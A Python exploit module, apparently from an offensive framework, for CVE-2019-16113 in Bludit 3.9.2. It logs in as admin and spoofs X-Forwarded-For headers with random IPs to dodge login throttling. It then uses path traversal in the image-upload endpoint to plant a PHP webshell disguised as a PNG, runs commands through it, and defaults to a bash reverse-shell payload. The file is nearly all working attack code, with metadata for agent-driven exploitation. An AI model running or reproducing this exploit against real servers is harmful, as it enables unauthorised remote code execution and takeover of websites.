Bludit CVE-2019-16113 upload traversal RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Bludit CVE-2019-16113 authenticated upload path traversal RCE."""

from __future__ import annotations

import random
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Bludit CVE-2019-16113 upload traversal RCE",
        "description": (
            "CVE-2019-16113 (Bludit 3.9.2): authenticated ajax/upload-images with "
            "uuid=../../tmp drops a PHP-capable PNG webshell under /bl-content/tmp/."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2019-16113"],
        "platform": Platform.PHP,
        "arch": [Arch.PHP, Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2019-16113",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["bludit", "cms", "upload", "authenticated", "rce", "cve-2019-16113"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["webshell", "rce", "shell"],
            "requires": {"tech_hints_any": ["bludit"]},
            "chain": {"suggested_followups": ["scanner/http/bludit_cve_2019_16113_detect"]},
        },
    }

    username = OptString("", "Bludit admin username", required=True)
    password = OptString("", "Bludit admin password", required=True)
    shell_name = OptString("shell.png", "Webshell filename under bl-content/tmp", required=False)

    def _rand_ip(self) -> str:
        return ".".join(str(random.randint(1, 254)) for _ in range(4))

    def _csrf(self, path: str) -> str:
        resp = self.http_request("GET", path, headers={"X-Forwarded-For": self._rand_ip()})
        match = re.search(r'name="tokenCSRF".+?value="([^"]+)"', (resp.text or "") if resp else "")
        if not match:
            raise RuntimeError("tokenCSRF not found")
        return match.group(1)

    def _login(self) -> None:
        login = "/admin/login"
        self.http_request(
            "POST",
            login,
            headers={"Referer": login, "X-Forwarded-For": self._rand_ip()},
            data={
                "tokenCSRF": self._csrf(login),
                "username": str(self.username or ""),
                "password": str(self.password or ""),
                "save": "",
            },
            allow_redirects=True,
        )
        chk = self.http_request("GET", login, headers={"X-Forwarded-For": self._rand_ip()})
        if 'class="login"' in ((chk.text or "") if chk else ""):
            raise RuntimeError("Bludit login failed")

    def _plant_shell(self) -> str:
        tok = self._csrf("/admin/new-content")
        name = str(self.shell_name or "shell.png")
        php = b"<?php system($_GET['c']); ?>"
        self.http_request(
            "POST",
            "/admin/ajax/upload-images",
            headers={
                "X-Requested-With": "XMLHttpRequest",
                "Referer": "/admin/new-content",
                "X-Forwarded-For": self._rand_ip(),
            },
            files={"images[]": (name, php, "image/png")},
            data={"uuid": "../../tmp", "tokenCSRF": tok},
        )
        return f"/bl-content/tmp/{name}"

    def execute(self, cmd: str) -> str:
        if not getattr(self, "_webshell", None):
            self._login()
            self._webshell = self._plant_shell()
        resp = self.http_request("GET", self._webshell, params={"c": cmd})
        return (resp.text or "").strip() if resp else ""

    def check(self):
        try:
            self._login()
        except RuntimeError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "medium"}
        return {"vulnerable": True, "reason": "Bludit admin login succeeded", "confidence": "high"}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Login failed"))
            self.not_vulnerable()
            return False

        print_status("CVE-2019-16113 — Bludit tmp upload RCE")
        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I):
            print_error("Webshell execution failed")
            self.not_vulnerable()
            return False

        out = self.execute(shell)
        if out:
            print_info(out[:4000])

        if str(self.shell_from_payload() or "").strip():
            return True
        return True